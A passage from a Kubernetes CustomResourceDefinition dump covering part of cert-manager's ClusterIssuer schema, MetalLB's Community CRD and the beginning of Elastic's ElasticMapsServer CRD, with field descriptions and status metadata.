                        Mutually exclusive with CABundleSecretRef.
                        If neither CABundle nor CABundleSecretRef are defined, the certificate bundle in
                        the cert-manager controller container is used to validate the TLS connection.
                      format: byte
                      type: string
                    caBundleSecretRef:
                      description: |-
                        Reference to a Secret containing a bundle of PEM-encoded CAs to use when
                        verifying the certificate chain presented by Vault when using HTTPS.
                        Mutually exclusive with CABundle.
                        If neither CABundle nor CABundleSecretRef are defined, the certificate bundle in
                        the cert-manager controller container is used to validate the TLS connection.
                        If no key for the Secret is specified, cert-manager will default to 'ca.crt'.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    clientCertSecretRef:
                      description: |-
                        Reference to a Secret containing a PEM-encoded Client Certificate to use when the
                        Vault server requires mTLS.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    clientKeySecretRef:
                      description: |-
                        Reference to a Secret containing a PEM-encoded Client Private Key to use when the
                        Vault server requires mTLS.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    namespace:
                      description: |-
                        Name of the vault namespace. Namespaces is a set of features within Vault Enterprise that allows Vault environments to support Secure Multi-tenancy. e.g: "ns1"
                        More about namespaces can be found here https://www.vaultproject.io/docs/enterprise/namespaces
                      type: string
                    path:
                      description: |-
                        Path is the mount path of the Vault PKI backend's `sign` endpoint, e.g:
                        "my_pki_mount/sign/my-role-name".
                      type: string
                    server:
                      description: 'Server is the connection address for the Vault
                        server, e.g: "https://vault.example.com:8200".'
                      type: string
                    serverName:
                      description: |-
                        ServerName is used to verify the hostname on the returned certificates
                        by the Vault server.
                      type: string
                  required:
                  - auth
                  - path
                  - server
                  type: object
                venafi:
                  description: |-
                    Venafi configures this issuer to sign certificates using a Venafi TPP
                    or Venafi Cloud policy zone.
                  properties:
                    cloud:
                      description: |-
                        Cloud specifies the Venafi cloud configuration settings.
                        Only one of TPP or Cloud may be specified.
                      properties:
                        apiTokenSecretRef:
                          description: APITokenSecretRef is a secret key selector
                            for the Venafi Cloud API token.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        url:
                          description: |-
                            URL is the base URL for Venafi Cloud.
                            Defaults to "https://api.venafi.cloud/".
                          type: string
                      required:
                      - apiTokenSecretRef
                      type: object
                    tpp:
                      description: |-
                        TPP specifies Trust Protection Platform configuration settings.
                        Only one of TPP or Cloud may be specified.
                      properties:
                        caBundle:
                          description: |-
                            Base64-encoded bundle of PEM CAs which will be used to validate the certificate
                            chain presented by the TPP server. Only used if using HTTPS; ignored for HTTP.
                            If undefined, the certificate bundle in the cert-manager controller container
                            is used to validate the chain.
                          format: byte
                          type: string
                        caBundleSecretRef:
                          description: |-
                            Reference to a Secret containing a base64-encoded bundle of PEM CAs
                            which will be used to validate the certificate chain presented by the TPP server.
                            Only used if using HTTPS; ignored for HTTP. Mutually exclusive with CABundle.
                            If neither CABundle nor CABundleSecretRef is defined, the certificate bundle in
                            the cert-manager controller container is used to validate the TLS connection.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        credentialsRef:
                          description: |-
                            CredentialsRef is a reference to a Secret containing the Venafi TPP API credentials.
                            The secret must contain the key 'access-token' for the Access Token Authentication,
                            or two keys, 'username' and 'password' for the API Keys Authentication.
                          properties:
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        url:
                          description: |-
                            URL is the base URL for the vedsdk endpoint of the Venafi TPP instance,
                            for example: "https://tpp.example.com/vedsdk".
                          type: string
                      required:
                      - credentialsRef
                      - url
                      type: object
                    zone:
                      description: |-
                        Zone is the Venafi Policy Zone to use for this issuer.
                        All requests made to the Venafi platform will be restricted by the named
                        zone policy.
                        This field is required.
                      type: string
                  required:
                  - zone
                  type: object
              type: object
            status:
              description: Status of the ClusterIssuer. This is set and managed automatically.
              properties:
                acme:
                  description: |-
                    ACME specific status options.
                    This field should only be set if the Issuer is configured to use an ACME
                    server to issue certificates.
                  properties:
                    lastPrivateKeyHash:
                      description: |-
                        LastPrivateKeyHash is a hash of the private key associated with the latest
                        registered ACME account, in order to track changes made to registered account
                        associated with the Issuer
                      type: string
                    lastRegisteredEmail:
                      description: |-
                        LastRegisteredEmail is the email associated with the latest registered
                        ACME account, in order to track changes made to registered account
                        associated with the  Issuer
                      type: string
                    uri:
                      description: |-
                        URI is the unique account identifier, which can also be used to retrieve
                        account details from the CA
                      type: string
                  type: object
                conditions:
                  description: |-
                    List of status conditions to indicate the status of a CertificateRequest.
                    Known condition types are `Ready`.
                  items:
                    description: IssuerCondition contains condition information for
                      an Issuer.
                    properties:
                      lastTransitionTime:
                        description: |-
                          LastTransitionTime is the timestamp corresponding to the last status
                          change of this condition.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          Message is a human readable description of the details of the last
                          transition, complementing reason.
                        type: string
                      observedGeneration:
                        description: |-
                          If set, this represents the .metadata.generation that the condition was
                          set based upon.
                          For instance, if .metadata.generation is currently 12, but the
                          .status.condition[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the Issuer.
                        format: int64
                        type: integer
                      reason:
                        description: |-
                          Reason is a brief machine readable explanation for the condition's last
                          transition.
                        type: string
                      status:
                        description: Status of the condition, one of (`True`, `False`,
                          `Unknown`).
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: Type of the condition, known values are (`Ready`).
                        type: string
                    required:
                    - status
                    - type
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              type: object
          required:
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - cert-manager
      kind: ClusterIssuer
      listKind: ClusterIssuerList
      plural: clusterissuers
      shortNames:
      - ciss
      singular: clusterissuer
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:23Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-22T13:18:24Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: communities.metallb.io
    resourceVersion: "57867"
    uid: 3cb64b56-e5e6-4635-bd7d-1be6b12283b7
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: Community
      listKind: CommunityList
      plural: communities
      singular: community
    scope: Namespaced
    versions:
    - name: v1beta1
      schema:
        openAPIV3Schema:
          description: |-
            Community is a collection of aliases for communities.
            Users can define named aliases to be used in the BGPPeer CRD.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: CommunitySpec defines the desired state of Community.
              properties:
                communities:
                  items:
                    properties:
                      name:
                        description: The name of the alias for the community.
                        type: string
                      value:
                        description: |-
                          The BGP community value corresponding to the given name. Can be a standard community of the form 1234:1234
                          or a large community of the form large:1234:1234:1234.
                        type: string
                    type: object
                  type: array
              type: object
            status:
              description: CommunityStatus defines the observed state of Community.
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: Community
      listKind: CommunityList
      plural: communities
      singular: community
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"elasticmapsservers.maps.k8s.elastic.co"},"spec":{"group":"maps.k8s.elastic.co","names":{"categories":["elastic"],"kind":"ElasticMapsServer","listKind":"ElasticMapsServerList","plural":"elasticmapsservers","shortNames":["ems"],"singular":"elasticmapsserver"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"ElasticMapsServer version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"ElasticMapsServer represents an Elastic Map Server resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"MapsSpec holds the specification of an Elastic Maps Server instance.","properties":{"config":{"description":"Config holds the ElasticMapsServer configuration. See: https://www.elastic.co/guide/en/kibana/current/maps-connect-to-ems.html#elastic-maps-server-configuration","type":"object","x-kubernetes-preserve-unknown-fields":true},"configRef":{"description":"ConfigRef contains a reference to an existing Kubernetes Secret holding the Elastic Maps Server configuration.\nConfiguration settings are merged and have precedence over settings specified in `config`.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"count":{"description":"Count of Elastic Maps Server instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to an Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for Elastic Maps Server.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Elastic Maps Server Docker image to deploy.","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the Elastic Maps Server pods","type":"object","x-kubernetes-preserve-unknown-fields":true},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying Deployment.","format":"int32","type":"integer"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"version":{"description":"Version of Elastic Maps Server.","type":"string"}},"required":["version"],"type":"object"},"status":{"description":"MapsStatus defines the observed state of Elastic Maps Server","properties":{"associationStatus":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"availableNodes":{"description":"AvailableNodes is the number of available replicas in the deployment.","format":"int32","type":"integer"},"count":{"description":"Count corresponds to Scale.Status.Replicas, which is the actual number of observed instances of the scaled object.","format":"int32","type":"integer"},"health":{"description":"Health of the deployment.","type":"string"},"observedGeneration":{"description":"ObservedGeneration is the most recent generation observed for this Elastic Maps Server.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Elastic\nMaps controller has not yet processed the changes contained in the Elastic Maps specification.","format":"int64","type":"integer"},"selector":{"description":"Selector is the label selector used to find all pods.","type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"scale":{"labelSelectorPath":".status.selector","specReplicasPath":".spec.count","statusReplicasPath":".status.count"},"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:56:00Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: elasticmapsservers.maps.k8s.elastic.co
    resourceVersion: "432331"
    uid: 4e4291d5-ca42-4668-8b94-5fe7c8bf2752
  spec:
    conversion:
      strategy: None
    group: maps.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: ElasticMapsServer
      listKind: ElasticMapsServerList
      plural: elasticmapsservers
      shortNames:
      - ems
      singular: elasticmapsserver
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: ElasticMapsServer version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1alpha1
      schema:
        openAPIV3Schema:
